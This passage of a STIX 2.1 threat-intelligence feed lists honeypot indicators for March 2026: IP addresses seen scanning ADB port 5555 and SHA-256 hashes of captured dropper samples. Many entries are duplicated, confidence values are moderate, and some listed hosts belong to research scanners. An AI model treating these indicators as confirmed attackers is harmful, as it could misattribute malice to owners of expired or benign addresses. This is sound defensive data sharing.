      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-17T16:27:02.000Z | last_seen=2026-03-17T16:37:14.005Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2150e350-ed42-493b-8278-5ca31bd0f8d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.225.44.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:00:02.000Z",
      "valid_until": "2026-04-18T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-17T16:27:02.000Z",
          "last_seen": "2026-03-17T16:37:14.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-17T16:27:02.000Z | last_seen=2026-03-17T16:37:14.005Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2150e350-ed42-493b-8278-5ca31bd0f8d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.225.44.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T17:00:03.000Z",
      "valid_until": "2026-04-18T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-17T16:27:02.000Z",
          "last_seen": "2026-03-17T16:37:14.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-17T18:49:46.000Z | last_seen=2026-03-17T23:37:13.752Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--9295d8fa-131a-4097-9117-86f609578261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:00:02.000Z",
      "valid_until": "2026-04-18T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-17T18:49:46.000Z",
          "last_seen": "2026-03-17T23:37:13.752Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CA; asn=855; asn_org=Bell Canada; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T18:26:56.000Z | last_seen=2026-03-17T18:28:05.730Z | ports=5555 | cc=CA | asn=855 | org=Bell Canada",
      "id": "indicator--6756a520-8dea-4fa5-a94a-136d1f361e23",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.55.7.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:00:02.000Z",
      "valid_until": "2026-04-18T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T18:26:56.000Z",
          "last_seen": "2026-03-17T18:28:05.730Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "855"
          ],
          "org": [
            "Bell Canada"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-17T18:49:46.000Z | last_seen=2026-03-17T23:37:13.752Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--9295d8fa-131a-4097-9117-86f609578261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:00:02.000Z",
      "valid_until": "2026-04-18T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-17T18:49:46.000Z",
          "last_seen": "2026-03-17T23:37:13.752Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CA; asn=855; asn_org=Bell Canada; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T18:26:56.000Z | last_seen=2026-03-17T18:28:05.730Z | ports=5555 | cc=CA | asn=855 | org=Bell Canada",
      "id": "indicator--6756a520-8dea-4fa5-a94a-136d1f361e23",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.55.7.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:00:02.000Z",
      "valid_until": "2026-04-18T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T18:26:56.000Z",
          "last_seen": "2026-03-17T18:28:05.730Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "855"
          ],
          "org": [
            "Bell Canada"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T20:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bd6c602f90687a7215402aa880024ace9e2df920733c39b16d02caef7488097f.raw; last_seen=2026-03-17T19:18:07.480Z",
      "id": "indicator--2e1eb466-7828-486b-8697-dc25176d3e07",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bd6c602f90687a7215402aa880024ace9e2df920733c39b16d02caef7488097f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T20:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bd6c602f90687a7215402aa880024ace9e2df920733c39b16d02caef7488097f.raw; last_seen=2026-03-17T19:18:07.480Z",
      "id": "indicator--2e1eb466-7828-486b-8697-dc25176d3e07",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bd6c602f90687a7215402aa880024ace9e2df920733c39b16d02caef7488097f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=PA; asn=64107; asn_org=RACK SPHERE HOSTING S.A.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-17T21:42:40.000Z | last_seen=2026-03-17T21:43:49.629Z | ports=5555 | cc=PA | asn=64107 | org=RACK SPHERE HOSTING S.A.",
      "id": "indicator--20a0a4a5-3219-4947-abe4-af9ee7800c8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.225.135.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:00:02.000Z",
      "valid_until": "2026-04-18T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-17T21:42:40.000Z",
          "last_seen": "2026-03-17T21:43:49.629Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PA"
          ],
          "asn": [
            "64107"
          ],
          "org": [
            "RACK SPHERE HOSTING S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=45; ports=5555; cc=SC; asn=42624; asn_org=Global-Data System IT Corporation; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=45 | first_seen=2026-03-17T21:43:19.000Z | last_seen=2026-03-17T21:54:17.691Z | ports=5555 | cc=SC | asn=42624 | org=Global-Data System IT Corporation",
      "id": "indicator--413af945-1597-4f21-8fed-3896f86e0a66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:00:02.000Z",
      "valid_until": "2026-04-18T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 45,
          "first_seen": "2026-03-17T21:43:19.000Z",
          "last_seen": "2026-03-17T21:54:17.691Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "42624"
          ],
          "org": [
            "Global-Data System IT Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-17T21:23:04.000Z | last_seen=2026-03-17T21:33:18.561Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--23fb0daf-5540-401d-b465-4fa9367d640f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:00:02.000Z",
      "valid_until": "2026-04-18T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-17T21:23:04.000Z",
          "last_seen": "2026-03-17T21:33:18.561Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-17T21:19:41.000Z | last_seen=2026-03-17T21:20:43.186Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--8d446abe-79a0-49e6-acae-dc7c40524f44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:00:02.000Z",
      "valid_until": "2026-04-18T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-17T21:19:41.000Z",
          "last_seen": "2026-03-17T21:20:43.186Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-17T21:23:00.000Z | last_seen=2026-03-17T21:33:09.660Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--9eb68b73-523b-4b2f-86dd-3d1db775c6ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T22:00:02.000Z",
      "valid_until": "2026-04-18T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-17T21:23:00.000Z",
          "last_seen": "2026-03-17T21:33:09.660Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=207812; asn_org=Dm Auto Eood; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T22:20:49.000Z | last_seen=2026-03-17T22:21:49.970Z | ports=5555 | cc=BG | asn=207812 | org=Dm Auto Eood",
      "id": "indicator--2a730f4f-bc1c-4dc4-acc1-b0b9aeac8f7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.62.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:00:02.000Z",
      "valid_until": "2026-04-18T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T22:20:49.000Z",
          "last_seen": "2026-03-17T22:21:49.970Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "207812"
          ],
          "org": [
            "Dm Auto Eood"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=207812; asn_org=Dm Auto Eood; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T22:20:49.000Z | last_seen=2026-03-17T22:21:49.970Z | ports=5555 | cc=BG | asn=207812 | org=Dm Auto Eood",
      "id": "indicator--2a730f4f-bc1c-4dc4-acc1-b0b9aeac8f7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.62.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T23:00:03.000Z",
      "valid_until": "2026-04-18T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T22:20:49.000Z",
          "last_seen": "2026-03-17T22:21:49.970Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "207812"
          ],
          "org": [
            "Dm Auto Eood"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T00:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d92e578c0719a6aafded2136cbd89e40bc27bde14d9c57f2003b53308d4bb310.raw; last_seen=2026-03-17T23:27:12.972Z",
      "id": "indicator--d2bcadd6-f7c5-4e2f-817b-2a50f08eb6cd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd92e578c0719a6aafded2136cbd89e40bc27bde14d9c57f2003b53308d4bb310']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T00:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d92e578c0719a6aafded2136cbd89e40bc27bde14d9c57f2003b53308d4bb310.raw; last_seen=2026-03-17T23:27:12.972Z",
      "id": "indicator--d2bcadd6-f7c5-4e2f-817b-2a50f08eb6cd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd92e578c0719a6aafded2136cbd89e40bc27bde14d9c57f2003b53308d4bb310']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T00:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-18T01:18:16.000Z | last_seen=2026-03-18T01:28:28.199Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9a992da8-0669-40c0-9ada-304d14552518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
